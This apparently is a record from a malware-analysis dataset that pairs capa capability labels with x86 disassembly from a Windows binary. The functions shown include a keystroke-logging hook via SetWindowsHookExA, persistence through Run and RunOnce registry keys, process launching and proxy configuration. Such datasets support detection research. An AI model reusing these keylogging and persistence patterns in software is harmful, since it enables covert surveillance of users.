joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411f30
Capabilities:
Log keystrokes via application hook
Set global application hook

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
push edi
mov edi, 0x444ee8
or esi, 0xffffffff
push edi
call ebx
and dword [ebp - 4], 0
mov ecx, 0x444f00
mov edx, dword [ecx]
mov eax, dword [ebp + 8]
cmp edx, eax
jne 0x411f62
mov edx, dword [ebp + 0xc]
cmp dword [ecx + 4], edx
je 0x411f86
cmp dword [ecx], 0
jne 0x411f6f
cmp esi, 0xffffffff
jne 0x411f6f
mov esi, dword [ebp - 4]
inc dword [ebp - 4]
add ecx, 0x10
cmp ecx, 0x445f00
jl 0x411f51
cmp esi, 0xffffffff
jne 0x411f96
xor bl, bl
jmp 0x411f88
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, bl
jmp 0x412034
shl esi, 4
push edi
mov dword [esi + 0x444f00], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x444f04], eax
and dword [esi + 0x444f08], 0
mov dword [esi + 0x444f0c], 2
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp + 0xc]
push dword [0x441ff0]
push dword [0x4421dc]
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push edi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 4]
xor ecx, ecx
cmp eax, ecx
je 0x412013
cmp dword [esi + 0x444f0c], 2
jne 0x41202b
mov ecx, dword [ebp + 8]
mov dword [esi + 0x444f00], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x444f04], ecx
mov dword [esi + 0x444f08], eax
mov dword [esi + 0x444f0c], 1
jmp 0x41202b
mov dword [esi + 0x444f00], ecx
mov dword [esi + 0x444f04], ecx
mov dword [esi + 0x444f08], ecx
mov dword [esi + 0x444f0c], ecx
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41244e
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
xor ebx, ebx
cmp byte [0x4421d1], bl
jne 0x412463
call fcn.00411e1d
test eax, eax
je 0x412479
lea eax, [esp + 4]
push eax
push ebx
push ebx
push 0x41232a
push ebx
push ebx
call fcn.0042281e
add esp, 0x18
pop ebx
pop ecx
ret
Function at 0x413fb6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0xfa28
call fcn.00421c57
mov esi, eax
xor ebx, ebx
cmp esi, ebx
pop ecx
je 0x4140a1
mov eax, dword [ebp + 8]
push edi
push 0x10
mov dword [esi], eax
push dword [ebp + 0xc]
lea eax, [esi + 0xf00c]
push eax
call fcn.004208c0
mov edi, 0x400
lea eax, [esi + 0xf01d]
push edi
mov byte [esi + 0xf01b], bl
push dword [ebp + 0x10]
push eax
call fcn.004208c0
push dword [ebp + 0x1c]
lea eax, [esi + 4]
mov byte [esi + 0xf41c], bl
push dword [ebp + 0x18]
push eax
call fcn.00420f70
mov eax, dword [ebp + 0x1c]
push 0x100
push dword [ebp + 0x14]
mov dword [esi + 0xf008], eax
lea eax, [esi + 0xf41d]
push eax
call fcn.004208c0
mov al, byte [ebp + 0x24]
push edi
push dword [ebp + 0x20]
mov byte [esi + 0xf51d], al
lea eax, [esi + 0xf51e]
mov byte [esi + 0xf51c], bl
push eax
call fcn.004208c0
add esp, 0x3c
cmp byte [ebp + 0x24], bl
mov byte [esi + 0xf91d], bl
pop edi
je 0x41407c
push 0x108
lea eax, [esi + 0xf91e]
push dword [ebp + 0x28]
push eax
call fcn.00420f70
add esp, 0xc
lea eax, [ebp - 4]
push eax
push ebx
push esi
push 0x4131e4
push ebx
push ebx
call fcn.0042281e
add esp, 0x18
cmp eax, ebx
je 0x4140a1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x4140a3
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x4140e4
Capabilities:
Resolve dns

Disassembly:
push ebx
xor ebx, ebx
push dword [esp + 8]
call sub.WSOCK32.dll_gethostbyname
cmp eax, ebx
je 0x414121
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.WSOCK32.dll_inet_ntoa
cmp eax, ebx
je 0x414121
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x14]
push esi
push eax
push edi
call fcn.004208c0
add esp, 0xc
mov byte [edi + esi - 1], bl
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
ret
Function at 0x414d97
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x42cd0a
call fcn.00421904
sub esp, 0x108
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
lea eax, [ebp - 0x114]
push 0x104
mov ebx, 0x405
push eax
push ebx
push dword [ebp + 8]
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x114]
push eax
call fcn.00420cc0
cmp byte [ebp + eax - 0x115], 0x5c
lea eax, [ebp + eax - 0x115]
pop ecx
jne 0x414def
and byte [eax], 0
push 0x528
call fcn.004223d2
pop ecx
mov dword [ebp - 0x10], eax
xor esi, esi
cmp eax, esi
mov dword [ebp - 4], esi
je 0x414e12
push dword [ebp + 8]
mov ecx, eax
call fcn.0041ce18
mov esi, eax
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x414e96
push dword [0x4424cc]
push esi
call fcn.00420680
push dword [0x4424d0]
lea eax, [esi + 0x104]
push eax
call fcn.00420680
lea eax, [ebp - 0x114]
push eax
lea eax, [esi + 0x208]
push eax
call fcn.00420680
lea eax, [esi + 0x30c]
push 0x437ea8
push eax
call fcn.00420680
add esp, 0x20
mov ecx, esi
mov dword [esi + 0x518], 1
call fcn.0041ccf3
test eax, eax
je 0x414e88
lea eax, [esi + 0x410]
push eax
push ebx
push dword [ebp + 8]
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, esi
call fcn.004227b3
push esi
call fcn.004223c7
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x415762
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
and byte [ebp - 0xa8], 0
and byte [ebp - 0x128], 0
push edi
lea eax, [ebp - 0xa8]
push 0x80
push eax
push 0x430
push dword [ebp + 8]
call esi
mov edi, dword [sym.imp.USER32.dll_GetWindowTextA]
push eax
call edi
lea eax, [ebp - 0x28]
push 0x20
push eax
push 0x431
push dword [ebp + 8]
call esi
push eax
call edi
lea eax, [ebp - 4]
mov ebx, 0x432064
push eax
lea eax, [ebp - 0x28]
push ebx
push eax
call fcn.004209be
add esp, 0xc
cmp eax, 1
push 0x50
pop ecx
jge 0x4157d5
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jg 0x4157de
mov dword [ebp - 4], ecx
lea eax, [ebp - 0x128]
push 0x80
push eax
push 0x432
push dword [ebp + 8]
call esi
push eax
call edi
lea eax, [ebp - 0x28]
push 0x20
push eax
push 0x433
push dword [ebp + 8]
call esi
push eax
call edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push ebx
push eax
call fcn.004209be
add esp, 0xc
cmp eax, 1
mov ecx, 0x438
jge 0x415828
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jg 0x415831
mov dword [ebp - 8], ecx
lea eax, [ebp - 0xa8]
push eax
call fcn.00420cc0
mov esi, eax
lea eax, [ebp - 0x128]
push eax
call fcn.00420cc0
pop ecx
pop ecx
pop edi
test esi, esi
pop esi
pop ebx
jle 0x4158a0
test eax, eax
jle 0x415881
push dword [ebp - 8]
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0xa8]
push dword [ebp - 4]
push eax
push str.http_s:_d_socks_s:_d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.004209f2
add esp, 0x1c
jmp 0x4158c8
push dword [ebp - 4]
lea eax, [ebp - 0xa8]
push eax
push str.http_s:_d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.004209f2
add esp, 0x14
jmp 0x4158c8
test eax, eax
jle 0x4158b5
push dword [ebp - 8]
lea eax, [ebp - 0x128]
push eax
push str.socks_s:_d
jmp 0x415890
push 0x437ea8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.004209f2
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
and byte [eax + ecx - 1], 0
mov al, 1
leave
ret
Function at 0x416039
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
and dword [ebp - 0x108], 0
and dword [ebp - 0x104], 0
push 0x100
lea eax, [ebp - 0x100]
push dword [ebp + 8]
push eax
call fcn.004208c0
and byte [ebp - 1], 0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x4160ce
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [ebp - 0x108], 0
je 0x41609e
lea eax, [ebp - 0x108]
push eax
push 0x4160a6
push dword [ebp - 0x108]
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov eax, dword [ebp - 0x104]
leave
ret
Function at 0x4179fc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x914
push ebx
push 0x432a90
push dword [ebp + 0xc]
call fcn.00421bbb
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x417b08
push edi
mov edi, 0x208
push ebx
lea eax, [ebp - 0x514]
push edi
push eax
call fcn.00421ac4
add esp, 0xc
test eax, eax
je 0x417b00
push esi
lea eax, [ebp - 0x914]
push eax
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x514]
push str._s_t_s_s
push eax
call fcn.004209be
mov esi, eax
add esp, 0x14
cmp esi, 2
jl 0x417ae6
lea eax, [ebp - 0x208]
push str.EXEC
push eax
call fcn.00422440
pop ecx
test eax, eax
pop ecx
jne 0x417ae6
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x104]
push dword [ebp + 8]
push 0x4320f0
push 0x104
push eax
call fcn.004209f2
add esp, 0x14
cmp esi, 2
jne 0x417ac1
lea eax, [ebp - 0x914]
push 0x437ea8
push eax
call fcn.00420680
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x914]
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x104]
push eax
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
lea eax, [ebp - 0x514]
push edi
push eax
call fcn.00421ac4
add esp, 0xc
test eax, eax
jne 0x417a3f
pop esi
push ebx
call fcn.00421952
pop ecx
pop edi
pop ebx
leave
ret

Function at 0x417c1d
Capabilities:
Persist via run registry key

Disassembly:
mov eax, 0x42cdd0
call fcn.00421904
sub esp, 0x418
push esi
lea ecx, [ebp - 0x14]
call fcn.0041f830
and dword [ebp - 4], 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
lea ecx, [ebp - 0x14]
call fcn.0041f864
test eax, eax
je 0x417c57
xor esi, esi
jmp 0x417d06
cmp dword [ebp + 8], 1
jne 0x417cf6
mov esi, 0x104
lea eax, [ebp - 0x21c]
push esi
push eax
push dword [0x441fe4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x417c50
lea eax, [ebp - 0x118]
push esi
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
jne 0x417cb2
lea eax, [ebp - 0x21c]
push esi
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004208c0
add esp, 0xc
and byte [ebp - 0x15], 0
lea eax, [ebp - 0x118]
push eax
push str._s__nosplash
lea eax, [ebp - 0x424]
push 0x208
push eax
call fcn.004209f2
and byte [ebp - 0x21d], 0
add esp, 0x10
lea eax, [ebp - 0x424]
lea ecx, [ebp - 0x14]
push str.Chinaddr
push eax
call fcn.0041f90d
test eax, eax
je 0x417d03
jmp 0x417c50
push str.Chinaddr
lea ecx, [ebp - 0x14]
call fcn.0041fa76
push 1
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0041f859
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x417d21
Capabilities:
Persist via run registry key

Disassembly:
mov eax, 0x42cde4
call fcn.00421904
sub esp, 0x210
push esi
lea ecx, [ebp - 0x14]
call fcn.0041f830
and dword [ebp - 4], 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
lea ecx, [ebp - 0x14]
call fcn.0041f864
test eax, eax
je 0x417d5b
xor esi, esi
jmp 0x417e0d
mov esi, 0x104
lea eax, [ebp - 0x21c]
push esi
push eax
push dword [0x441fe4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [ebp + 8], 0
jne 0x417d90
push str.Chinaddr
lea ecx, [ebp - 0x14]
call fcn.0041fa76
test eax, eax
jne 0x417d54
push 1
pop esi
jmp 0x417e0d
push dword [ebp + 0xc]
call fcn.00420cc0
test eax, eax
pop ecx
jne 0x417dc0
lea eax, [ebp - 0x21c]
push str._setup
push eax
push 0x433be8
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.004209f2
add esp, 0x14
jmp 0x417de4
push dword [ebp + 0xc]
lea eax, [ebp - 0x21c]
push str._setup
push eax
push str._s__s___s_
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.004209f2
add esp, 0x18
and byte [ebp - 0x15], 0
lea eax, [ebp - 0x118]
push str.Chinaddr
push eax
lea ecx, [ebp - 0x14]
call fcn.0041f90d
test eax, eax
jne 0x417d54
push eax
call fcn.00417c1d
pop ecx
mov esi, eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0041f859
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x417f70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
lea eax, [ebp - 8]
push esi
xor ebx, ebx
push eax
xor esi, esi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jne 0x417ff0
lea eax, [ebp - 4]
push eax
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x417ff0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x417ff0
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00417f54
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x10c]
mov dword [esp], str.37213721win_
push eax
push str._s_s
push esi
push edi
call fcn.004209f2
add esp, 0x14
mov byte [edi + esi - 1], bl
push 1
pop esi
pop edi
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x41800e
cmp dword [ebp - 4], ebx
je 0x418008
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41857a
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp byte [edi], 0x5c
je 0x4185b8
push 0x3a
push edi
call fcn.00421470
mov esi, eax
sub esi, edi
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x110]
push edi
push eax
call fcn.004208c0
add esp, 0x14
and byte [ebp + esi - 0x10e], 0
jmp 0x418600
push edi
xor ebx, ebx
xor esi, esi
call fcn.00420cc0
test eax, eax
pop ecx
jbe 0x418635
cmp byte [esi + edi], 0x5c
jne 0x4185ce
inc ebx
cmp ebx, 4
jge 0x4185e2
push edi
inc esi
call fcn.00420cc0
cmp esi, eax
pop ecx
jb 0x4185c7
cmp ebx, 4
jne 0x418635
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x110]
push edi
push eax
call fcn.004208c0
add esp, 0xc
and byte [ebp + esi - 0x10f], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x418635
mov eax, dword [ebp + 8]
imul eax, dword [ebp - 8]
imul eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
sbb al, al
inc al
jmp 0x418637
xor al, al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x418bb8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
lea eax, [ebp - 8]
xor edi, edi
mov esi, ecx
push eax
xor ebx, ebx
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jne 0x418c5d
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x418c5d
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x418c5d
lea eax, [ebp - 0x10c]
push 0x432a4c
push eax
call fcn.00420690
push dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
call fcn.00420690
add esp, 0x10
lea eax, [ebp - 0x314]
push 0x104
push eax
lea eax, [ebp - 0x10c]
push 0xffffffffffffffff
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esi + 4]
lea edx, [ebp - 0x314]
push 1
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x418c5d
push 1
pop ebx
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x418c7b
cmp dword [ebp - 4], edi
je 0x418c75
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret 8
Function at 0x418c84
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
lea eax, [ebp - 8]
xor edi, edi
push eax
and dword [ebp - 8], edi
and dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jne 0x418cfc
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x418cfc
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x418cfc
lea eax, [ebp - 0x10c]
push 0x432a4c
push eax
call fcn.00420690
push dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
call fcn.00420690
add esp, 0x10
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x418d1b
cmp dword [ebp - 4], 0
je 0x418d15
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, edi
pop edi
leave
ret 8

Function at 0x418d22
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 8]
xor edi, edi
mov dword [ebp - 0x10], ecx
push eax
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jne 0x418db1
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 4]
and ebx, 1
push eax
je 0x418d57
push 0x17
jmp 0x418d59
push 2
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
push edi
call esi
cmp eax, edi
je 0x418d7b
lea eax, [ebp - 4]
cmp ebx, edi
push eax
je 0x418d72
push 2
jmp 0x418d74
push 0x17
push edi
call esi
cmp eax, edi
jne 0x418db1
mov eax, dword [ebp - 0x10]
lea esi, [eax + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x418db1
push 0x432a4c
push esi
call fcn.00420690
push dword [ebp + 8]
push esi
call fcn.00420690
add esp, 0x10
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x418dcf
cmp dword [ebp - 4], edi
je 0x418dc9
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x418dd9
Capabilities:
Delete directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
xor edi, edi
mov dword [ebp - 0x10], ecx
push eax
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jne 0x418e89
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 4]
and ebx, 1
push eax
je 0x418e12
push 0x17
jmp 0x418e14
push 2
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
push edi
call esi
cmp eax, edi
je 0x418e36
lea eax, [ebp - 4]
cmp ebx, edi
push eax
je 0x418e2d
push 2
jmp 0x418e2f
push 0x17
push edi
call esi
cmp eax, edi
jne 0x418e89
mov eax, dword [ebp - 0x10]
lea esi, [eax + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x418e89
push 0x432a4c
push esi
call fcn.00420690
push dword [ebp + 8]
push esi
call fcn.00420690
add esp, 0x10
test byte [ebp + 0xc], 2
je 0x418e73
push esi
call fcn.004093f0
pop ecx
mov dword [ebp - 8], eax
jmp 0x418e7a
mov dword [ebp - 8], 1
cmp dword [ebp - 8], edi
je 0x418e89
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
cmp eax, edi
je 0x418ea7
cmp dword [ebp - 4], edi
je 0x418ea1
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4197a1
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov eax, 0x42ce94
call fcn.00421904
sub esp, 0x2ac
push ebx
push edi
lea ecx, [ebp - 0x24]
call fcn.0041f830
push dword [ebp + 8]
lea eax, [ebp - 0x1b4]
xor ebx, ebx
push str.SoftwareInterChinaChin_ddress
push str._s_s
push eax
mov dword [ebp - 4], ebx
call fcn.004223e0
add esp, 0x10
lea eax, [ebp - 0x1b4]
lea ecx, [ebp - 0x24]
push eax
push 0x80000002
call fcn.0041f8a1
test eax, eax
jne 0x419955
push ebx
mov eax, dword [ebp - 0x20]
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ebx
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
mov dword [ebp - 0x1c], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp eax, ebx
jne 0x419955
mov eax, dword [ebp - 0x14]
cmp eax, ebx
ja 0x419829
mov bl, 1
jmp 0x419955
imul eax, eax, 0x84
push eax
call fcn.00421c57
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x10], edi
je 0x419955
push esi
push 4
push ebx
push edi
call fcn.00420b00
add esp, 0xc
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp + 8], ebx
jle 0x4198eb
lea esi, [edi + 0x83]
mov edi, 0x80
lea eax, [ebp - 0x30]
mov dword [ebp - 0x28], 0x104
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [ebp - 0x2b8]
mov dword [ebp - 0x30], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
je 0x4198e8
cmp eax, ebx
jne 0x4198dd
cmp dword [ebp - 0x2c], 1
jne 0x4198dd
lea eax, [ebp - 0x2b8]
push eax
call fcn.00420caf
mov dword [esi - 0x83], eax
lea eax, [ebp - 0xb0]
push edi
push eax
lea eax, [esi - 0x7f]
push eax
call fcn.004208c0
add esp, 0x10
inc dword [ebp - 0x18]
mov byte [esi], bl
add esi, 0x84
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x14]
jl 0x41986a
mov edi, dword [ebp - 0x10]
cmp dword [ebp - 0x14], ebx
mov dword [ebp + 8], ebx
jle 0x41994b
or eax, 0xffffffff
xor edx, edx
cmp dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0x7fffffff
jle 0x41994b
mov esi, edi
mov ecx, dword [esi]
cmp ecx, ebx
jl 0x419916
cmp dword [ebp - 0x10], ecx
jle 0x419916
mov dword [ebp - 0x10], ecx
mov eax, edx
inc edx
add esi, 0x84
cmp edx, dword [ebp - 0x18]
jl 0x419906
cmp eax, 0xffffffff
je 0x41994b
imul eax, eax, 0x84
push dword [ebp + 0x10]
lea esi, [eax + edi]
push esi
call dword [ebp + 0xc]
pop ecx
test al, al
pop ecx
je 0x41994b
or dword [esi], 0xffffffff
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x14]
jl 0x4198f3
push edi
call fcn.00421dfa
pop ecx
mov bl, 1
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0041f859
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x41a31d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and dword [eax], 0
and dword [ebp - 4], 0
mov esi, dword [ebp + 0xc]
push edi
mov edi, 0x400
lea eax, [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x404]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41a363
cmp dword [ebp + 0x10], 0
je 0x41a403
mov ecx, dword [esi]
test ecx, ecx
jne 0x41a37e
push edi
call fcn.00421c57
test eax, eax
pop ecx
mov dword [esi], eax
je 0x41a3fe
mov dword [ebx], edi
jmp 0x41a39b
mov eax, dword [ebx]
cmp dword [ebp - 4], eax
jl 0x41a39b
add eax, 0x400
push eax
push ecx
call fcn.00422d4a
pop ecx
test eax, eax
pop ecx
je 0x41a3fe
add dword [ebx], edi
mov dword [esi], eax
xor eax, eax
cmp dword [ebp + 0x10], eax
mov dword [ebp + 0xc], eax
jle 0x41a33e
mov ecx, dword [esi]
mov edx, dword [ebp - 4]
mov al, byte [ebp + eax - 0x404]
inc dword [ebp - 4]
mov byte [ecx + edx], al
mov eax, dword [ebp + 0xc]
cmp byte [ebp + eax - 0x404], 0xa
je 0x41a3d2
inc eax
cmp eax, dword [ebp + 0x10]
mov dword [ebp + 0xc], eax
jl 0x41a3a5
jmp 0x41a33e
sub eax, dword [ebp + 0x10]
push 1
push 0
inc eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebx]
cmp dword [ebp - 4], eax
jl 0x41a411
add eax, 0x400
push eax
push dword [esi]
call fcn.00422d4a
pop ecx
test eax, eax
pop ecx
jne 0x41a40d
push 2
pop eax
jmp 0x41a421
cmp dword [ebp - 4], 0
jne 0x41a3e4
push 3
jmp 0x41a400
add dword [ebx], edi
mov dword [esi], eax
mov ecx, dword [esi]
mov eax, dword [ebp - 4]
and byte [ecx + eax], 0
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10